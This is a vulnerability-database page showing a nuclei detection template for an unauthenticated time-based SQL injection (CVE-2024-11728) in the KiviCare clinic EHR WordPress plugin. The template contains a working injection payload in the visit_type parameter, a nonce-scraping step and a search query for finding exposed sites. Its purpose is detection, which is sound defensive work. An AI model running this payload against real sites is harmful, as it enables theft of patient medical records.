Lucene search
K

KiviCare Clinic & Patient Management System (EHR) <= 3.6.4 - SQL Injection

🗓️ 08 Jul 2026 05:22:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 36 Views

KiviCare EHR plugin for WordPress is vulnerable to SQL Injection allowing data extraction by attackers.

Related
Refs
Code
id: CVE-2024-11728

info:
  name: KiviCare Clinic & Patient Management System (EHR) <= 3.6.4 - SQL Injection
  author: samogod,s4e-io
  severity: high
  description: |
    The KiviCare Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the visit_type parameter in the tax_calculated_data action to extract the complete clinic database including patient records, medical history, and appointment data.
  remediation: |
    To remediate this vulnerability, validate and sanitize all user inputs on the server side before using them in SQL queries. Use prepared statements or stored procedures, and ensure that data is properly escaped.
  reference:
    - https://github.com/samogod/CVE-2024-11728
    - https://samogod.com/2024/12/11/cve-2024-11728-kivicare-wordpress-unauthenticated-sql-injection/
    - https://plugins.trac.wordpress.org/changeset/3201428/kivicare-clinic-management-system/trunk/app/controllers/KCTaxController.php
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/53c18834-3026-4d4d-888b-add314a0e56e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11728
    cwe-id: CWE-89
    epss-score: 0.13515
    epss-percentile: 0.95992
  metadata:
    verified: true
    max-request: 2
    vendor: iqonic
    product: kivicare
    framework: wordpress
    fofa-query: body="/wp-content/plugins/kivicare-clinic-management-system"
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,kivicare-clinic-management-system,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/kivicare-clinic-management-system"
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - "ajax_post_nonce:\\s*'([^']+)'"
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ajax_post&route_name=tax_calculated_data&clinic_id[id]=1&doctor_id[id]=1&visit_type[0][service_id]=123) AND (SELECT * FROM (SELECT(SLEEP(6)))alias) AND (1=1&_ajax_nonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>6'
          - 'contains_all(body, "status", "message", "total_tax")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100f0a8c20ea6e0806bedb1187047464da37961ab3cf6e3c34990e2c58faccfc691022100e098898e9a1c5ea1ba2c0f8e1ec506d3e623dee74f9dca6eda2e6706293e7d6c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.5
EPSS0.13515
SSVC
36